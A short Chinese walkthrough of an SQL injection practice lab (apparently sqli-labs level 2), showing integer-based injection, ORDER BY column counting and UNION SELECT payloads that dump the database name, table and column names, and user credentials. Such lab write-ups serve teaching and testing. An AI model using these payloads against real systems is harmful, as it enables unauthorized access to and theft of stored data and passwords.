打开后发现与less1一样,提示请输入参数id,并为它赋一个数字值。
1、寻找注入点
输入?id=1正常;输入?id=1’报错,说明存在sql注入漏洞。
输入?id=1 and 1=1正常,输入?id=1 and 1=2页面显示不正常。
猜测查询语句如下:
SELECT * FROM users WHERE id=$id LIMIT 0,1
说明存在整型注入漏洞。与less1单引号字符型注入的区别在于,构建payload时去掉’单引号。
2、使用order by 查询字段数量
输入?id=1 order by 3 --+正常;
输入?id=1 order by 4 --+报错,说明该数据表中的字段数为3.
3、爆破数据库
?id=-1 union select 1,2,database() --+
4、爆破数据表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’
5、爆破数据列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+
6、爆数据值
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+
知识点:
0x3a是:16进制的分隔符,比如在爆数据值时,(username,0x3a,password)表示(username:password)。